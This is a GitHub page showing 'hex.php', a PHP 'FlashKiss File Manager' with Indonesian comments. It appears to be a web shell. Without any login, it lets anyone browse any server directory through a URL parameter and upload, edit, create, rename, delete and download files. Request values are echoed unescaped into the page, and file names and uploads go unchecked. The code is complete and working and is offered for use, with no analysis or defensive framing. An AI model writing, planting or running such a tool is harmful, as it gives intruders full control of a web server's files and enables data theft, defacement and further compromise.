-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathhex.php
More file actions
242 lines (224 loc) · 7.87 KB
/
hex.php
File metadata and controls
242 lines (224 loc) · 7.87 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
<?php
// Set directory root menjadi public_html
$root_dir = realpath(__DIR__); // Ini mengatur root menjadi folder di mana file PHP ini disimpan
$current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $root_dir;
// Periksa jika direktori yang diminta valid dan dapat diakses
if (!$current_dir || !is_dir($current_dir)) {
$current_dir = $root_dir; // Jika direktori tidak valid, kembali ke root_dir
}
// Fungsi untuk menampilkan list file & folder, dengan folder di atas dan file di bawah
function listDirectory($dir)
{
$files = scandir($dir);
// Array untuk menyimpan folder dan file terpisah
$directories = [];
$regular_files = [];
// Pisahkan folder dan file ke dalam array yang berbeda
foreach ($files as $file) {
if ($file != "." && $file != "..") {
if (is_dir($dir . '/' . $file)) {
$directories[] = $file; // Masukkan ke array folder
} else {
$regular_files[] = $file; // Masukkan ke array file biasa
}
}
}
// Tampilkan folder di atas
foreach ($directories as $directory) {
echo '<tr>';
echo '<td><a href="?dir=' . urlencode($dir . '/' . $directory) . '">📁 ' . $directory . '</a></td>';
echo '<td>Folder</td>';
echo '<td>
<a href="?dir=' . urlencode($dir) . '&edit=' . urlencode($directory) . '">Edit</a> |
<a href="?dir=' . urlencode($dir) . '&delete=' . urlencode($directory) . '">Delete</a> |
<a href="?dir=' . urlencode($dir) . '&rename=' . urlencode($directory) . '">Rename</a> |
<a href="?dir=' . urlencode($dir) . '&download=' . urlencode($directory) . '">Download</a>
</td>';
echo '</tr>';
}
// Tampilkan file di bawah
foreach ($regular_files as $file) {
echo '<tr>';
echo '<td>' . $file . '</td>';
echo '<td>' . filesize($dir . '/' . $file) . ' bytes</td>';
echo '<td>
<a href="?dir=' . urlencode($dir) . '&edit=' . urlencode($file) . '">Edit</a> |
<a href="?dir=' . urlencode($dir) . '&delete=' . urlencode($file) . '">Delete</a> |
<a href="?dir=' . urlencode($dir) . '&rename=' . urlencode($file) . '">Rename</a> |
<a href="?dir=' . urlencode($dir) . '&download=' . urlencode($file) . '">Download</a>
</td>';
echo '</tr>';
}
}
// Fungsi untuk menghapus file
if (isset($_GET['delete'])) {
$file_to_delete = $current_dir . '/' . $_GET['delete'];
if (is_file($file_to_delete)) {
unlink($file_to_delete);
}
header("Location: ?dir=" . urlencode($_GET['dir']));
}
// Fungsi untuk download file
if (isset($_GET['download'])) {
$file_to_download = $current_dir . '/' . $_GET['download'];
if (is_file($file_to_download)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"');
header('Content-Length: ' . filesize($file_to_download));
readfile($file_to_download);
exit;
}
}
// Fungsi untuk rename file
if (isset($_POST['rename_file'])) {
$old_name = $current_dir . '/' . $_POST['old_name'];
$new_name = $current_dir . '/' . $_POST['new_name'];
rename($old_name, $new_name);
header("Location: ?dir=" . urlencode($_GET['dir']));
}
// Fungsi untuk upload file
if (isset($_POST['upload'])) {
$target_file = $current_dir . '/' . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
header("Location: ?dir=" . urlencode($_GET['dir']));
}
// Fungsi untuk mengedit file
if (isset($_POST['save_file'])) {
$file_to_edit = $current_dir . '/' . $_POST['file_name'];
$new_content = $_POST['file_content'];
file_put_contents($file_to_edit, $new_content);
header("Location: ?dir=" . urlencode($_GET['dir']));
}
// Fungsi untuk membuat file baru
if (isset($_POST['create_file'])) {
$new_file_name = $_POST['new_file_name'];
$new_file_path = $current_dir . '/' . $new_file_name;
// Buat file baru dengan konten kosong
file_put_contents($new_file_path, "");
header("Location: ?dir=" . urlencode($_GET['dir']));
}
?>
<!DOCTYPE html>
<html>
<head>
<title>FlashKiss File Manager</title>
<style>
/* Styling dengan tema gelap (latar belakang hitam dan teks terang) */
body {
background-color: #121212;
color: #E0E0E0;
font-family: Arial, sans-serif;
}
h2 {
color: #BB86FC;
}
table {
width: 100%;
border-collapse: collapse;
}
th, td {
padding: 10px;
text-align: left;
}
th {
background-color: #333;
color: #BB86FC;
}
tr:nth-child(even) {
background-color: #222;
}
tr:nth-child(odd) {
background-color: #121212;
}
a {
color: #03DAC6;
text-decoration: none;
}
a:hover {
color: #BB86FC;
}
button {
background-color: #03DAC6;
color: #121212;
border: none;
padding: 10px 20px;
cursor: pointer;
}
button:hover {
background-color: #BB86FC;
}
textarea {
width: 100%;
height: 400px;
background-color: #222;
color: #E0E0E0;
border: 1px solid #BB86FC;
}
input[type="file"], input[type="text"] {
color: #E0E0E0;
background-color: #222;
border: 1px solid #BB86FC;
padding: 10px;
}
.form-container {
display: flex;
justify-content: space-between;
margin-bottom: 20px;
}
.form-container form {
margin-right: 10px;
}
</style>
</head>
<body>
<p>Current Directory: <a href="?dir=<?php echo urlencode(dirname($current_dir)); ?>" style="color: #03DAC6;"><?php echo $current_dir; ?></a></p>
<div class="form-container">
<!-- Form untuk upload file -->
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit" name="upload">Upload</button>
</form>
<!-- Form untuk membuat file baru -->
<form method="post">
<input type="text" name="new_file_name" placeholder="New file name" required>
<button type="submit" name="create_file">Create File</button>
</form>
</div>
<table border="1">
<thead>
<tr>
<th>File Name</th>
<th>Size</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php listDirectory($current_dir); ?>
</tbody>
</table>
<!-- Form untuk rename file -->
<?php if (isset($_GET['rename'])): ?>
<form method="post">
<input type="hidden" name="old_name" value="<?php echo $_GET['rename']; ?>">
<input type="text" name="new_name" placeholder="New name" style="width: 100%; padding: 10px;">
<button type="submit" name="rename_file">Rename</button>
</form>
<?php endif; ?>
<!-- Form untuk mengedit file -->
<?php
if (isset($_GET['edit'])):
$file_to_edit = $current_dir . '/' . $_GET['edit'];
if (is_file($file_to_edit)) {
$file_content = file_get_contents($file_to_edit);
?>
<form method="post">
<input type="hidden" name="file_name" value="<?php echo $_GET['edit']; ?>">
<textarea name="file_content"><?php echo htmlspecialchars($file_content); ?></textarea>
<br>
<button type="submit" name="save_file">Save Changes</button>
</form>
<?php }
endif; ?>
</body>
</html>